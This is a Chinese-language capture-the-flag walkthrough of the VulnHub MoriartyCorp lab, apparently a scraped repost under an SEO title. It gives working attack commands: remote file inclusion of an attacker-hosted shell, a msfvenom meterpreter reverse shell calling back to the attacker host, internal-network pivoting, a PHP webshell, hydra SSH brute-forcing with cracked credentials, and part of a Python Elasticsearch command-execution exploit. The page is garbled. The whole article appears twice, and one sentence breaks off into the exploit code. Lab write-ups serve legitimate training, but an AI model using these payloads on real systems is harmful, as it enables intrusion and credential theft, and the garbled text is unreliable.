MoriartyCorp靶机漏洞如何通过长尾关键词进行深入挖掘和利用?

2026-04-17 23:581阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1871个文字,预计阅读时间需要8分钟。

MoriartyCorp靶机漏洞如何通过长尾关键词进行深入挖掘和利用?

MoriartyCorp 靶机:使用Kali系统,IP地址为192.168.3.62虚拟机环境配置:- 真实机IP:192.168.3.44- 虚拟机下载地址:https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/- 虚拟机网络设置:docker搭建内网

靶机:MoriartyCorp
靶机下载地址:www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶机公网IP:192.168.3.65(该靶机用docker搭建了内网)
kali机IP:192.168.3.62
真机IP:192.168.3.44
虚拟机环境搭建:通过VirtualBox导入虚拟机,网络连接方式选择桥接模式,导入虚拟机的时候注意不要勾选USB控制器,否则可能会出一些小问题

一、信息收集 1. 探测靶机目标

nmap -sn 192.168.3.0/24

找到攻击目标公网IP为192.168.3.65

2. 端口扫描

nmap -p- -A 192.168.3.65

扫描到有ssh服务(23端口)、192.168.3.65:9000

感觉像是一个后台登陆界面,应该是登陆到内网服务器的,但是尝试万能密码,使用弱口令进行暴力破解发现并不能成功,只能暂时先放下


192.168.3.65:8000

发现有一些提示信息,让我们先输入flag{start},那就跟着提示走

输入提示信息提交后,提示我们访问80端口

访问80端口,点击Blog post1和Blog post2,从内容中没有得到什么有用信息,但是看到路径为../file=page1.html和../file=page2.html后,疑似存在文件包含漏洞

包含一下www.baidu.com,发现存在远程的文件包含漏洞

192.168.3.65/?file=www.baidu.com

二、文件包含漏洞的利用 1. 在真机上使用python搭建一个简易服务器

在桌面上新建一个文件夹,用来存放服务器的根目录,取了个名字叫做192.168.3.65/?file=192.168.3.44:8000/shell.txt

连接成功后返回到上一层目录,找到第一个flag

提交flag得到下一步提示,要求扫描内网开放的80端口,这里还提示内网地址在172.17.0.3~254范围内,看来下一步要进行渗透内网了

三、内网渗透 1. 制作反弹shell木马文件

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=8084 -f elf > shell.elf

2. 将文件上传到靶机上,使用刚才使用的蚁剑上传

3. 攻击机开启监听

msfconsole #启动msf use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp set LHOST 192.168.3.62 #注意IP和反弹木马文件一致 set LPORT 8084 #注意端口和反弹木马文件一致 run #等待反弹结果


4. 修改权限,执行文件

chmod 777 shell.elf ./shell.elf

在连接的蚁剑上打开终端,发现上传的shell.elf文件没有执行权限,需要手动开启,然后执行文件,回到kali等待反弹结果

反弹成功

查看一下内网IP,发现本机IP地址为172.17.0.3,这应该是其它内网服务器的网关地址

MoriartyCorp靶机漏洞如何通过长尾关键词进行深入挖掘和利用?

5. 创建路由

添加一条通往目标服务器内网的路由,让目标路由分配给kali一个内网IP,这样msf就可以直接访问目标内网中其他设备

run autoroute -s 172.17.0.0/24 #创建跳板路由

6. 扫描内网主机80端口,172.17.0.4应该是内网中的主机

use auxiliart/scanner/portscan/tcp #使用tcp端口扫描辅助模块 set rhosts 172.17.0.0/24 #设置扫描的内网网段 set ports 80 #设置扫描的端口 run #开始扫描

7. 设置转发端口

sessions -i 1 #返回shell会话 portfwd add -L 192.168.3.62 -l 2424 -p 80 -r 172.17.0.4 #将内网主机的80端口转发到kali机2424端口

访问内网主机80端口(可以看到内网IP已经映射到了本地),在这个页面可以看到可以上传文件,但是需要密码才能上传

192.168.3.62:2424

8. 暴力破解密码

上传一句话木马,然后使用burpsuite抓包

对密码进行爆破,只有密码为password时长度不一样,看来上传文件密码就应该是password

找到正确密码后就能成功上传

注意上传的文件存放路径,点击一下上传的木马文件就能看到上传路径了

尝试访问一下phpinfo文件信息,看看上传的木马是不是真的可以利用,发现可以利用,那就用蚁剑连一下吧

192.168.3.62:2424/photo/22/muma.php?cmd=phpinfo();

9. 蚁剑连接,获取内网主机shell

连接成功后返回到上层目录,成功找到第二个flag

提交flag,得到一串用户名和密码hash值,对密码解密,提示用用户名和密码hash去攻击ssh服务

通过md5解密,解密结果如下

63a9f0ea7bb98050796b649e85481845 root 7b24afc8bc80e548d66c4e7ff72171c5 toor 5f4dcc3b5aa765d61d8327deb882cf99 password 21232f297a57a5a743894a0e4a801fc3 admin 084e0343a0486ff05530df6c705c8bb4 guest 697c6cc76fdbde5baccb7b3400391e30 MORIARTY 8839cfc8a0f24eb155ae3f7f205f5cbc MCORP 35ac704fe1cc7807c914af478f20fd35 mcorp b27a803ed346fbbf6d2e2eb88df1c51b weapons 08552d48aa6d6d9c05dd67f1b4ba8747 moriarty

还有另一种获取内网的方法使用socks5代理+proxychains工具探测(前面7步一样)

1. msf中设置socks代理

background #如果此时在会话监听模式,使用background可以把监听端口保存在后台运行,如果要使用shell时再通过session -i [会话编号] 的方式进行切换 use auxiliary/server/socks_proxy #开启socks5代理,msf6是socks_proxy,如果是msf5可能是socks4a run #启动socks代理

2. 在proxychains配置信息中添加socks5代理配置

vim /etc/proxychains.conf

可以看到同样可以找到内网主机,然后使用抓包,上传木马,使用蚁剑连接

proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80 # -sV 版本探测 # -sT 3次握手方式tcp扫描 # -Pn 扫描之前不需要用ping命令,有些防火墙禁用ping命令,可以使用此选项进行扫描 # -T 设置扫描线程,范围在T1~6 # -p 设置扫描端口

10. 通过proxychains扫描ssh服务端口

根据flag2提示需要去攻击SSH服务,一般为22端口,找到启用SSH服务的内网主机,可以看到主机172.17.0.5是启用了SSH服务的

nmapchains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22

11. 爆破ssh用户名密码

先创建两个字典文本文件,使用第9步得到的用户名和密码作为字典

使用hydra工具通过字典爆破,可以看到成功爆出ssh登陆用户名为root,用户密码为weapons

proxychains hydra -L user.txt -p pass.txt ssh://172.17.0.5 -t 4 # -L 指定用户名字典 # -p 指定密码字典 # -t 设置线程

找到正确用户名和密码就可以登录ssh了,登录后在根目录下找到第三个flag

提交flag后得到新的提示,有个用户名为buyer13,密码为arms13,此外还提示有个%s:9200/_search?pretty" %(target) r = requests.post(url=url, data=payload) except Exception, e: sys.exit("Exception Hit"+str(e)) values = json.loads(r.text) fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0] print fuckingjson.strip() def exploit(target): print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" while True: cmd = raw_input("~$ ") if cmd == "exit": sys.exit("{!} Shell exiting!") else: execute_command(target=target, command=cmd) def main(args): banner() if len(args) != 2: sys.exit("Use: %s target" %(args[0])) exploit(target=args[1]) if __name__ == "__main__": main(args=sys.argv)

结束

本文共计1871个文字,预计阅读时间需要8分钟。

MoriartyCorp靶机漏洞如何通过长尾关键词进行深入挖掘和利用?

MoriartyCorp 靶机:使用Kali系统,IP地址为192.168.3.62虚拟机环境配置:- 真实机IP:192.168.3.44- 虚拟机下载地址:https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/- 虚拟机网络设置:docker搭建内网

靶机:MoriartyCorp
靶机下载地址:www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶机公网IP:192.168.3.65(该靶机用docker搭建了内网)
kali机IP:192.168.3.62
真机IP:192.168.3.44
虚拟机环境搭建:通过VirtualBox导入虚拟机,网络连接方式选择桥接模式,导入虚拟机的时候注意不要勾选USB控制器,否则可能会出一些小问题

一、信息收集 1. 探测靶机目标

nmap -sn 192.168.3.0/24

找到攻击目标公网IP为192.168.3.65

2. 端口扫描

nmap -p- -A 192.168.3.65

扫描到有ssh服务(23端口)、192.168.3.65:9000

感觉像是一个后台登陆界面,应该是登陆到内网服务器的,但是尝试万能密码,使用弱口令进行暴力破解发现并不能成功,只能暂时先放下


192.168.3.65:8000

发现有一些提示信息,让我们先输入flag{start},那就跟着提示走

输入提示信息提交后,提示我们访问80端口

访问80端口,点击Blog post1和Blog post2,从内容中没有得到什么有用信息,但是看到路径为../file=page1.html和../file=page2.html后,疑似存在文件包含漏洞

包含一下www.baidu.com,发现存在远程的文件包含漏洞

192.168.3.65/?file=www.baidu.com

二、文件包含漏洞的利用 1. 在真机上使用python搭建一个简易服务器

在桌面上新建一个文件夹,用来存放服务器的根目录,取了个名字叫做192.168.3.65/?file=192.168.3.44:8000/shell.txt

连接成功后返回到上一层目录,找到第一个flag

提交flag得到下一步提示,要求扫描内网开放的80端口,这里还提示内网地址在172.17.0.3~254范围内,看来下一步要进行渗透内网了

三、内网渗透 1. 制作反弹shell木马文件

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=8084 -f elf > shell.elf

2. 将文件上传到靶机上,使用刚才使用的蚁剑上传

3. 攻击机开启监听

msfconsole #启动msf use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp set LHOST 192.168.3.62 #注意IP和反弹木马文件一致 set LPORT 8084 #注意端口和反弹木马文件一致 run #等待反弹结果


4. 修改权限,执行文件

chmod 777 shell.elf ./shell.elf

在连接的蚁剑上打开终端,发现上传的shell.elf文件没有执行权限,需要手动开启,然后执行文件,回到kali等待反弹结果

反弹成功

查看一下内网IP,发现本机IP地址为172.17.0.3,这应该是其它内网服务器的网关地址

MoriartyCorp靶机漏洞如何通过长尾关键词进行深入挖掘和利用?

5. 创建路由

添加一条通往目标服务器内网的路由,让目标路由分配给kali一个内网IP,这样msf就可以直接访问目标内网中其他设备

run autoroute -s 172.17.0.0/24 #创建跳板路由

6. 扫描内网主机80端口,172.17.0.4应该是内网中的主机

use auxiliart/scanner/portscan/tcp #使用tcp端口扫描辅助模块 set rhosts 172.17.0.0/24 #设置扫描的内网网段 set ports 80 #设置扫描的端口 run #开始扫描

7. 设置转发端口

sessions -i 1 #返回shell会话 portfwd add -L 192.168.3.62 -l 2424 -p 80 -r 172.17.0.4 #将内网主机的80端口转发到kali机2424端口

访问内网主机80端口(可以看到内网IP已经映射到了本地),在这个页面可以看到可以上传文件,但是需要密码才能上传

192.168.3.62:2424

8. 暴力破解密码

上传一句话木马,然后使用burpsuite抓包

对密码进行爆破,只有密码为password时长度不一样,看来上传文件密码就应该是password

找到正确密码后就能成功上传

注意上传的文件存放路径,点击一下上传的木马文件就能看到上传路径了

尝试访问一下phpinfo文件信息,看看上传的木马是不是真的可以利用,发现可以利用,那就用蚁剑连一下吧

192.168.3.62:2424/photo/22/muma.php?cmd=phpinfo();

9. 蚁剑连接,获取内网主机shell

连接成功后返回到上层目录,成功找到第二个flag

提交flag,得到一串用户名和密码hash值,对密码解密,提示用用户名和密码hash去攻击ssh服务

通过md5解密,解密结果如下

63a9f0ea7bb98050796b649e85481845 root 7b24afc8bc80e548d66c4e7ff72171c5 toor 5f4dcc3b5aa765d61d8327deb882cf99 password 21232f297a57a5a743894a0e4a801fc3 admin 084e0343a0486ff05530df6c705c8bb4 guest 697c6cc76fdbde5baccb7b3400391e30 MORIARTY 8839cfc8a0f24eb155ae3f7f205f5cbc MCORP 35ac704fe1cc7807c914af478f20fd35 mcorp b27a803ed346fbbf6d2e2eb88df1c51b weapons 08552d48aa6d6d9c05dd67f1b4ba8747 moriarty

还有另一种获取内网的方法使用socks5代理+proxychains工具探测(前面7步一样)

1. msf中设置socks代理

background #如果此时在会话监听模式,使用background可以把监听端口保存在后台运行,如果要使用shell时再通过session -i [会话编号] 的方式进行切换 use auxiliary/server/socks_proxy #开启socks5代理,msf6是socks_proxy,如果是msf5可能是socks4a run #启动socks代理

2. 在proxychains配置信息中添加socks5代理配置

vim /etc/proxychains.conf

可以看到同样可以找到内网主机,然后使用抓包,上传木马,使用蚁剑连接

proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80 # -sV 版本探测 # -sT 3次握手方式tcp扫描 # -Pn 扫描之前不需要用ping命令,有些防火墙禁用ping命令,可以使用此选项进行扫描 # -T 设置扫描线程,范围在T1~6 # -p 设置扫描端口

10. 通过proxychains扫描ssh服务端口

根据flag2提示需要去攻击SSH服务,一般为22端口,找到启用SSH服务的内网主机,可以看到主机172.17.0.5是启用了SSH服务的

nmapchains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22

11. 爆破ssh用户名密码

先创建两个字典文本文件,使用第9步得到的用户名和密码作为字典

使用hydra工具通过字典爆破,可以看到成功爆出ssh登陆用户名为root,用户密码为weapons

proxychains hydra -L user.txt -p pass.txt ssh://172.17.0.5 -t 4 # -L 指定用户名字典 # -p 指定密码字典 # -t 设置线程

找到正确用户名和密码就可以登录ssh了,登录后在根目录下找到第三个flag

提交flag后得到新的提示,有个用户名为buyer13,密码为arms13,此外还提示有个%s:9200/_search?pretty" %(target) r = requests.post(url=url, data=payload) except Exception, e: sys.exit("Exception Hit"+str(e)) values = json.loads(r.text) fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0] print fuckingjson.strip() def exploit(target): print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something" while True: cmd = raw_input("~$ ") if cmd == "exit": sys.exit("{!} Shell exiting!") else: execute_command(target=target, command=cmd) def main(args): banner() if len(args) != 2: sys.exit("Use: %s target" %(args[0])) exploit(target=args[1]) if __name__ == "__main__": main(args=sys.argv)

结束